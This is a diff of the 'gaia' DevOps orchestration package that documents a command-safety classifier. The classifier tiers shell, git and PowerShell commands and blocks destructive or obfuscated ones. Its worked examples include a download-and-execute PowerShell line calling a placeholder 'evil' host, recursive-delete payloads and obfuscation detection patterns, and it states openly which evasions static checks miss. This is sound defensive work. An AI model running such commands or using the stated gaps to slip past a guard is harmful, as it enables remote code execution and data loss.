+ return _classify_powershell_payload(command, family, "-Command payload")
2873
+
2874
+
2560
2875
  def _read_script_content(
2561
2876
  path: str, cwd: "Optional[str]" = None,
2562
2877
  ) -> "Optional[str]":
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@jaguilar87/gaia",
3
- "version": "5.2.0-rc.2",
3
+ "version": "5.2.0-rc.3",
4
4
  "description": "Multi-agent orchestration system for Claude Code - DevOps automation toolkit",
5
5
  "main": "index.js",
6
6
  "type": "module",
package/pyproject.toml CHANGED
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "gaia"
3
- version = "5.2.0-rc.2"
3
+ version = "5.2.0-rc.3"
4
4
  description = "Multi-agent orchestration system for Claude Code - DevOps automation toolkit"
5
5
  requires-python = ">=3.11"
6
6
  license = {text = "MIT"}
@@ -169,7 +169,8 @@ There is **no npm postinstall hook**. `package.json` carries an explicit `_insta
169
169
  4. Merge hooks from `hooks.json` into `settings.local.json`.
170
170
  5. Create `.claude/{agents, tools, hooks, config, skills}` symlinks (5) plus a `CHANGELOG.md` file link.
171
171
  6. Write `plugin-registry.json` with `installed[].name == "gaia"` (the single unified plugin identity).
172
- 7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`.
172
+ 7. Write the PATH launcher unless `--no-path`: POSIX still gets the `~/.local/bin/gaia` bash shim; Windows instead gets `gaia.cmd` + `gaia.ps1` (`_install_windows_launchers` / `_render_cmd_launcher` / `_render_ps1_launcher` in `bin/cli/install.py`), each baking in the resolved workspace and exporting `GAIA_WORKSPACE_PATH` before dispatching to `bin/gaia`. On Windows only, install ALSO warns (`_warn_launcher_shadowed` / `_launcher_path_precedence`) when `~/.local/bin` does not precede the npm prefix on PATH -- the npm shim would win and the launcher would be shadowed.
173
+ 8. **Windows only:** persist `GAIA_WORKSPACE_PATH` to the USER environment via `setx` (`_persist_workspace_env` in `bin/cli/install.py`). The launcher's export is process-scoped, so if npm's own `gaia.cmd` wins the PATH lookup the env var is never set and `doctor._derive_workspace` derives the npm prefix -> false CRITICAL. The persisted (durable, last-install-wins, single-valued) value makes the NEXT `gaia doctor` (a fresh process) resolve the workspace regardless of which `gaia` wins PATH. No-op on POSIX. When no workspace resolves and the env var is unset, `gaia doctor` emits a legible, actionable message naming both remedies (`--workspace <path>` or reinstall) instead of a raw CRITICAL.
173
174
 
174
175
  Note: no `project-context.json` is written. Project context lives in `~/.gaia/gaia.db`. Run `gaia scan` separately to populate it -- install never triggers a scan.
175
176
 
@@ -35,6 +35,8 @@ This mirrors `_classify_command_tier_cached` in `hooks/modules/security/tiers.py
35
35
 
36
36
  Conditional commands depend on flags: `git branch` is T0 for listing but T3 only with `-D` or `-M` (the force-delete and force-rename flags checked by `_scan_dangerous_flags`) or the long-form `--delete`. The lowercase short forms `-d` (delete) and `-m` (rename) are deliberately LEFT UNGATED -- this is an intentional design decision, not a classification gap. Git itself refuses `-d` on a branch with unmerged commits (it exits non-zero and demands the explicit `-D` override to force it through), so the safety check already lives inside git before Gaia's tier classification ever runs; gating a command git already declines to run unsafely would add friction without closing a real risk. The same split applies to `-m` vs `-M`: `-m` renames without clobbering an existing branch of the same name, while `-M` forces the rename and can silently overwrite it. So the free/gated line mirrors git's own safe/force distinction -- the safe verbs (`-d`, `-m`) stay free, the force verbs (`-D`, `-M`) are gated. Separately, the short force flag `-f` now escalates git to T3 across subcommands (`git` is in `F_FLAG_MEANS_FORCE` in `mutative_verbs.py`, mirroring the long-form `--force`): `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` are all T3. Without this, those slipped through as T0 because their subcommands live in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
37
37
 
38
+ Packed short-flag heuristic (`_scan_dangerous_flags` -> `_is_posix_short_flag_cluster`): a single-dash multi-char token like `-rf`/`-rfi` is a bundle of single-character POSIX flags (`-r -f -i`), and the scanner escalates it when it packs a dangerous combination. That heuristic USED to test only "does the token contain both `r` and `f`?" on ANY `>2`-char single-dash token -- which mis-read the .NET/PowerShell/Java-style long word-flag `-NoProfile` (P**rof**ile carries both `r` and `f`) as if it were `-rf`, forcing EVERY PowerShell invocation (Claude Code prepends `-NoProfile`) to a spurious T3. The gate now fires only on a genuine packed bundle: short (`<= _MAX_POSIX_SHORT_FLAG_CLUSTER`, 4 chars), all letters, and with no CamelCase word boundary (`_CAMEL_WORD_RE`, an uppercase letter followed by a lowercase one). So `-rf`/`-rfi`/`-fv`/`-rv` still escalate, while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` no longer do -- for ANY CLI with single-dash word flags, not just PowerShell. Accepted trade-off: an uppercase-led bundle such as `-Rf` trips the CamelCase gate and is not matched here, deliberately -- the `-R`/`-r`/`-f` single flags are still caught by their exact-match handling, and killing the ubiquitous `-NoProfile` false positive is worth far more than the rare uppercase-packed form.
39
+
38
40
  KNOWN ASYMMETRY (documented, not changed): `--delete` is git's documented long-form synonym for `-d` -- both invoke the same safe, refuses-if-unmerged deletion -- yet `--delete` IS currently gated (`DELETE_FLAG_IS_DESTRUCTIVE` in `mutative_verbs.py` lists `git`) while `-d` is not (`DANGEROUS_FLAGS` has no entry for `-d`). Two spellings of the identical safe operation currently classify differently. This is a known, accepted inconsistency between the two flag forms -- flagged here for visibility, left as-is by design. For cloud-specific verb patterns (kubectl, terraform, gcloud, helm, flux), see `reference.md`.
39
41
 
40
42
  ## Enforcement anchors
@@ -44,6 +46,7 @@ The runtime, not this skill, enforces tiers. Three modules layer the decision:
44
46
  - `tiers.py` -- the `SecurityTier` enum (`T0_READ_ONLY`, `T1_VALIDATION`, `T2_DRY_RUN`, `T3_BLOCKED`) and `_classify_command_tier_cached` assign every command a tier.
45
47
  - `blocked_commands.py` -- pattern-matches irreversible commands and permanently denies them (exit 2, never approvable).
46
48
  - `mutative_verbs.py` -- CLI-agnostic detection of mutative verbs; drives the nonce / approval flow for T3. Includes script-file detection (Step 1d, `_check_script_file`): when a command is `<interpreter> <script-file>` (`python3 deploy.py`, `bash setup.sh`, `node migrate.js`) or `./script.ext`, the file is read and classified by its real invocations -- AST analysis for Python, the blocked/mutative regex layer for shells and other interpreters. A script that is missing, unreadable, or whose interpreter is unrecognized defaults to T3 (conservative). This prevents the evasion path where `<interp> <file>` bypasses the verb scanner because the filename token has no recognizable subcommand. A RELATIVE script token is resolved against the `cd` TARGET of its command chain, NOT the hook's own cwd: `detect_mutative_command` peels a leading `cd <dir>` chain (`_peel_leading_cd`, on `&&` / `;`, `||` excluded) and threads the resulting `cwd` into `_read_script_content`; the compound validator (`bash_validator._validate_compound_command`) additionally folds the cwd across the SEPARATE components a chain splits into (via `cwd_after_component`), so `cd /repo && node engine/build.mjs` reads `/repo/engine/build.mjs` and classifies at its true tier instead of a false `script-file-unreadable` T3. Gaia governs arbitrary workspaces, so this must not assume the install dir; when no `cd` is present the process cwd is still used, and a path that is unreadable AFTER honoring the `cd` keeps the conservative T3 fallback. Before reading the body, `_check_script_file` first checks `_INTERP_SYNTAX_CHECK_FLAGS`: a leading syntax-check-only flag (`bash -n`, `sh -n`, `node --check` / `node -c`) that precedes the script positional never executes the script, so the invocation downgrades to T0 without reading the file's contents at all -- a flag appearing after the script positional is an argument to the script and does not qualify. One narrowly-scoped script is re-dispatched rather than AST-scanned: the Gaia CLI dispatcher `bin/gaia` (recognized by basename `gaia` + parent dir `bin` + a body signature, via `_check_gaia_cli_dispatcher`) has its own `subprocess.run(...)` for the lazy DB bootstrap, which AST analysis would flag as mutative -- turning EVERY `python3 <path>/bin/gaia <subcmd>` into a false T3, including read-only subcommands (`doctor`, `release check`, dry-runs). Instead the tokens after the script positional are reconstructed as `gaia <subcmd> ...` and re-classified through the normal engine, so the form classifies IDENTICALLY to the installed launcher form `gaia <subcmd>` (`dev` stays T3 via `COMMAND_SUBCOMMAND_MUTATIVE_UPGRADES`, `install` T3 via `MUTATIVE_VERBS`, read-only subcommands T0). This mirrors the `python3 -m pip install` -> `pip install` re-dispatch and is NOT a general subprocess.run bypass -- an unrelated `bin/gaia` without the signature is still AST-scanned. Step 1e (`_check_npm_script_runner`) applies the same real-effect standard to npm: `npm run <script>` is resolved to its `package.json` `scripts.<script>` body (the `package.json` is read under the same `cd`-honored cwd, so `cd /repo && npm run build` reads `/repo/package.json`) and that body is classified by the same regex engine used for script files (an unresolvable body -- missing/unparseable `package.json` or absent entry -- falls back to conservative T3), while `npm ci` is unconditionally mutative (T3) because it rewrites `node_modules` regardless of the verb taxonomy. Non-shell source files (`.js`/`.mjs`/`.cjs`/`.rb`/`.pl`/`.php`) route through the **"code" lane**, which splits by language. Each of the four registered families -- the JS family (`.js`/`.mjs`/`.cjs`, or a `node` interpreter token), plus php (`.php`/`php`), ruby (`.rb`/`ruby`), and perl (`.pl`/`.pm`/`perl`) -- resolves a `LanguageSpec` via `source_lexer.spec_for_script` and is classified by `_classify_source_with_lexer`; a language with no registered spec (`spec_for_script` returns `None`) falls through to the older regex lane, `_classify_script_content_by_regex` with `from_source_code=True`. For any lexed family, `source_lexer.strip_source` runs a single left-to-right state machine over the file and produces two line-aligned projections: `verb_view` (comments blanked, string/template-literal CONTENTS blanked) and `exec_view` (comments blanked, string CONTENTS KEPT). `_classify_source_with_lexer` then runs, per line: (1) `is_blocked_command` on `verb_view` as a defense-in-depth safety net for a permanently-blocked pattern; (2) `_scan_exec_sink_string_args` on `exec_view` with `shell_backticks=spec.backticks_are_exec` -- `JS_SPEC.backticks_are_exec` is `False`, because a JS backtick delimits a template literal, not shell execution, so backtick/`%x{}` bodies are NOT treated as exec sinks for JS. Deliberately **not** run for JS: the whole-token mutative-verb scan (`detect_mutative_command`) that the regex lane uses -- in JS a bare word at subcommand position is a language identifier, not a CLI subcommand (`const label = ...`, `let close = ...`), and the scan caught no real JS mutation, only these identifier collisions, so it is removed entirely for this lane rather than merely down-weighted. A real JS mutation still reaches the shell through an exec sink whose argument is a string literal (`execSync("kubectl delete ...")`), which `exec_view` preserves (including `${…}` interpolation) and re-classifies, so removing the whole-token scan does not open a false negative. Ruby/perl/php are now comment/string-aware exactly like JS: each resolves its own `LanguageSpec` (`RUBY_SPEC`/`PERL_SPEC`/`PHP_SPEC`) and routes through `_classify_source_with_lexer`, closing the false-T3 class where a mutative verb mentioned only inside a comment (`php` with `// update the user cache`, ruby `=begin ... delete ... =end`, perl POD) was read as an invocation. Their comment grammars exceed JS's `//` + `/* */`, so the spec carries three extensions (all defaulting off, leaving `JS_SPEC` unchanged): `extra_line_comments` for PHP's second line marker `#` alongside `//`; `line_block_comments` for Ruby's column-0 `=begin`/`=end`; and `pod_style` for Perl POD (a line starting with `=`+letter, closed by `=cut`). Heredocs (`<<<`/`<<~`) and `q{}`/`qq{}` string forms are an accepted limitation that can only cost a residual false positive, never a false negative. Crucially, unlike `JS_SPEC`, these three specs set `backticks_are_exec=True` and do NOT list the backtick in `string_quotes`: a ruby/perl/php backtick body -- and Ruby's `%x{}` -- is left verbatim in the exec view and re-classified as a shell command (`_EXEC_SINK_BACKTICK_RE`/`_EXEC_SINK_PERCENT_X_RE`, `shell_backticks=True`), since a backtick in these languages IS shell execution. This preserves the exec detection the old regex lane had (`system()`/`shell_exec()`/backticks/`%x{}` still classify T3) while dropping the whole-token verb scan, which -- as in JS -- produced only language-identifier collisions and caught no real mutation (those go through exec sinks). Because the quote making a command one token would otherwise hide a mutation passed to a subprocess as a string literal, `_scan_exec_sink_string_args` is one detector shared across three callers -- the inline `-c`/`-e` path, the shell/other-language regex code lane, and the (JS/ruby/perl/php) lexer lane: the command handed to an exec sink (`execSync`/`execFile`/`spawn`/`system`/`shell_exec`/`passthru`/backticks/`%x{}`, backticks gated by `shell_backticks`) is extracted and re-classified, escalating to T3 **only when the inner command is itself mutative or blocked** (so `execSync("kubectl delete ...")` is T3 while a benign `execSync("ls")` stays T0 -- the false-positive gate). This makes `node deploy.js` classify identically to `node -e "..."`. Residual accepted-limitation: the general case -- a mutation assembled by string concatenation, variable interpolation, or base64, or passed to a sink not in the exec-sink set -- is not detected by static classification; the exec-sink slice is the bounded, low-false-positive portion that is closed.
49
+ - `mutative_verbs.py` (PowerShell lane, Step 1c-ps, `_check_powershell_command`) -- the POSIX verb scanner is blind to the Windows/.NET shell: `powershell.exe -Command "<script>"` collapses its payload into one opaque token, so a destructive `Remove-Item -Recurse` inside it slipped through as safe-by-elimination (a false NEGATIVE). This lane mirrors `_INLINE_CODE_MAP` / `_check_script_file` for `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe`: it introspects the payload of `-Command`/`-c` (scanning the whole command text -- the interpreter flags carry no Verb-Noun cmdlet, so this is collision-free) and of `-File <script.ps1>` (read via `_read_script_content` under the `cd`-honored cwd; unreadable -> conservative T3, mirroring the script-file lane). Each cmdlet is classified by its Verb-Noun VERB (the part before the hyphen) against PowerShell's approved-verb taxonomy: `_PS_READ_VERBS` (get/measure/select/where/sort/compare/test/resolve/find/search/show/format/convertfrom/convertto/... -> read) vs `_PS_CHANGE_VERBS` (set/new/remove/clear/move/copy/rename/start/stop/invoke/... -> T3); the ambiguous `Out-*` verb splits by noun (`Out-String`/`Out-Host`/`Out-Null` read, `Out-File`/`Out-Printer` change). Three security rules keep it conservative, NOT permissive: (1) composition -- ANY change/unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (`Get-ChildItem; Remove-Item x` is T3, not T0 by first-cmdlet); (2) obfuscation -- `iex`/`iwr`/`icm`, `Invoke-Expression`, `&`/`.` call operators (`_PS_OBFUSCATION_RES`), and `-EncodedCommand <base64>` (`_is_ps_encoded_flag`) are T3 regardless of surrounding cmdlets, checked FIRST so a read cmdlet piped into `iex` cannot launder the payload; (3) positive allowlist -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable cmdlet must be present; a payload with no recognizable Verb-Noun cmdlet (or any unknown verb) stays T3 (default-deny fallback, mirroring an unreadable script file). Because the verb taxonomy classifies by verb rather than a per-cmdlet list, a never-before-seen cmdlet is classified correctly (`Get-FooBar` -> read, `Set-FooBar` -> T3) with no allow-list to maintain. Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias not in the obfuscation set is not name-resolved.
47
50
  - `composition_rules.py` -- `check_composition` / `classify_stage` classify pipe compositions (FILE_READ→EXEC_SINK, network→exec, decode→exec); triggers T3 on dangerous pipelines such as `file_to_exec`.
48
51
  - `flag_classifiers.py` -- `_classify_curl` / `classify_by_flags` detect flag-dependent mutations; triggers T3 on commands whose flags make them mutative (e.g., `curl -X POST`).
49
52
 
@@ -30,6 +30,7 @@ Read on-demand by infrastructure agents. Not injected automatically.
30
30
 
31
31
  - `git branch` -- T0 for listing (no args or `--list`); T3 only with `-D` (force-delete), `-M` (force-rename), or the long-form `--delete`. The lowercase `-d` (delete -- git refuses on unmerged branches) and `-m` (plain rename) are intentionally left ungated: they are the safe counterparts of the same operations, and gating them would add a consent prompt for something git itself already refuses to do unsafely. `--move` (git's long form of `-m`, a plain rename) IS a recognized git flag but, like `-m`, is intentionally left ungated -- it is the safe counterpart of `-M`. Known asymmetry: `--delete` (long form of `-d`) IS gated even though it performs the identical safe deletion `-d` performs -- see `SKILL.md` for the full rationale and this documented (not fixed) inconsistency.
32
32
  - Short force flag `-f` on git -- T3 across subcommands. `git` is in `F_FLAG_MEANS_FORCE` (`mutative_verbs.py`), mirroring the long-form `--force`, so `git mv -f` (force-overwrite the destination), `git checkout -f` (discard uncommitted changes), `git branch -f`, and `git add -f` all escalate to T3. Previously these slipped through as T0 because their subcommands are in `GIT_LOCAL_SAFE_SUBCOMMANDS` and `-f` was not collected by `_scan_dangerous_flags` for git.
33
+ - Packed short-flag bundle (`-rf`, `-rfi`, `-fv`) -- T3 when it packs a dangerous single-char combination. `_scan_dangerous_flags` treats a single-dash multi-char token as a bundle of one-char POSIX flags and escalates `r`+`f` (always), `f` (force CLIs), or `r` (recursive-delete CLIs). It is gated by `_is_posix_short_flag_cluster` so only a GENUINE bundle qualifies -- short (<= 4 chars), all letters, no CamelCase word boundary (`_CAMEL_WORD_RE`). This is the fix for the false positive where the .NET/PowerShell/Java-style long word-flag `-NoProfile` (contains `r` and `f`) was mis-read as `-rf` and forced every PowerShell command to T3. Now `-rf`/`-rfi`/`-fv` still escalate while `-NoProfile`/`-Force`/`-Recurse`/`-ExecutionPolicy` do not, for any CLI with single-dash word flags. Accepted trade-off: an uppercase-led `-Rf` also trips the CamelCase gate and is not matched here (the single `-R`/`-r`/`-f` exact-match handling still catches those).
33
34
 
34
35
  ### T3 -- Realization
35
36
 
@@ -41,6 +42,37 @@ Read on-demand by infrastructure agents. Not injected automatically.
41
42
 
42
43
  Note: `git commit` and `git add` are **not** T3. They are local-only (working tree + local refs, never remote), classified safe by elimination via `GIT_LOCAL_SAFE_SUBCOMMANDS` in `mutative_verbs.py`. Only `git push` reaches remote state.
43
44
 
45
+ ## PowerShell / Windows shell lane
46
+
47
+ The classifier is NOT bash/POSIX-only. `powershell`/`powershell.exe`/`pwsh`/`pwsh.exe` route through a dedicated lane (`_check_powershell_command`, Step 1c-ps in `detect_mutative_command`) that introspects the payload the POSIX verb scanner cannot see -- `-Command "<script>"` collapses into one opaque token, so before this lane a destructive `Remove-Item -Recurse` classified T0 (a false negative) while `-NoProfile` forced everything to T3 (a false positive).
48
+
49
+ **Payload source (priority order):**
50
+ 1. `-EncodedCommand <base64>` (any prefix of "encodedcommand", or `ec`, via `_is_ps_encoded_flag`) -- T3 immediately; the base64 blob is not inspectable.
51
+ 2. `-File <script.ps1>` -- a `.ps1` positional is read (`_read_script_content`, honoring a leading `cd`) and its contents classified; unreadable -> conservative T3, mirroring the script-file lane. Routed off the `.ps1` positional, NOT the `-File`/`-f` flag, because flag normalization splits `-NoProfile` into single chars including `-f`.
52
+ 3. `-Command`/`-c` inline (or no explicit flag) -- the whole command text is scanned; the interpreter flags carry no Verb-Noun cmdlet, so scanning the full string is collision-free.
53
+
54
+ **Verb-Noun taxonomy** -- each cmdlet is classified by its VERB (the token before the hyphen), so a never-seen cmdlet is classified correctly with no per-cmdlet list:
55
+
56
+ - `_PS_READ_VERBS` (-> read, non-mutative): `Get-*`, `Measure-*`, `Select-*`, `Where-*`, `Sort-*`, `Compare-*`, `Test-*`, `Resolve-*`, `Find-*`, `Search-*`, `Show-*`, `Format-*`, `ConvertFrom-*`, `ConvertTo-*`, `Group-*`, `Join-*`, `Split-*`, `Read-*`.
57
+ - `_PS_CHANGE_VERBS` (-> T3): `Set-*`, `New-*`, `Remove-*`, `Clear-*`, `Add-*`, `Move-*`, `Copy-*`, `Rename-*`, `Start-*`, `Stop-*`, `Restart-*`, `Suspend-*`, `Resume-*`, `Register-*`, `Unregister-*`, `Install-*`, `Uninstall-*`, `Import-*`, `Export-*`, `Write-*`, `Enable-*`, `Disable-*`, `Mount-*`, `Dismount-*`, `Invoke-*`, `Push-*`, `Pop-*`, `Save-*`, `Publish-*`, `Send-*`, `Update-*`, `Edit-*`, `Reset-*`, `Limit-*`, `Block-*`.
58
+ - Ambiguous `Out-*` splits by noun (`_PS_OUT_READ_NOUNS`): `Out-String`/`Out-Host`/`Out-Null`/`Out-Default`/`Out-GridView` are read; `Out-File`/`Out-Printer` are change.
59
+
60
+ **Three conservative security rules (default-deny, not permissive):**
61
+ 1. **Composition** -- ANY change or unknown verb ANYWHERE in the payload escalates the WHOLE payload to T3 (mirror of composition_rules "any mutative stage -> T3"). `Get-ChildItem; Remove-Item x -Recurse` is T3, not T0-by-first-cmdlet.
62
+ 2. **Obfuscation** -- checked FIRST, before the cmdlet scan, so a read cmdlet piped into an exec sink cannot launder the payload: `iex`/`iwr`/`icm`, `Invoke-Expression`, and `&`/`.` call operators at a statement boundary (`_PS_OBFUSCATION_RES`) all force T3.
63
+ 3. **Positive allowlist** -- to drop BELOW T3 EVERY cmdlet must be a read verb AND at least one recognizable Verb-Noun cmdlet must be present. A payload with no recognizable cmdlet, or any unknown/unresolvable verb, stays T3 (conservative fallback, identical to an unreadable script file). No safe-by-elimination in this lane.
64
+
65
+ **Worked examples (probe-confirmed on Linux -- the classifier operates on the command string, OS-independent):**
66
+ - `powershell.exe -NoProfile -Command "Get-ChildItem . | Measure-Object | Select-Object Count"` -> T0 (all read verbs).
67
+ - `powershell.exe -Command "Remove-Item -Recurse foo"` and the same without `-NoProfile` -> T3 (change verb `Remove`).
68
+ - `powershell.exe -Command "Get-ChildItem; Remove-Item x -Recurse"` -> T3 (composition).
69
+ - `powershell.exe -Command "iex (iwr http://evil)"` -> T3 (obfuscation).
70
+ - `powershell.exe -EncodedCommand aGVsbG8=` -> T3 (non-inspectable base64).
71
+ - `powershell.exe -Command "Frobnicate-Widget"` -> T3 (unknown verb, default-deny).
72
+ - `pwsh -c "Get-Process"` -> T0 (read verb `Get`).
73
+
74
+ Accepted limitation: a mutation via a bare native command inside `-Command` (no Verb-Noun) is caught only by the conservative no-cmdlet fallback (T3), and an alias outside the obfuscation set (e.g. `del`/`rm` aliases) is not name-resolved -- these are handled by the default-deny fallback, not by name.
75
+
44
76
  ## Edge Cases
45
77
 
46
78
  - **Compound subcommands that look mutative:** verbs like `merge-base` split on the hyphen to `merge`, which is a mutative verb -- but `git merge-base` is read-only. The detector in `mutative_verbs.py` carries an allow-list of read-only compound subcommands so they are not falsely flagged T3.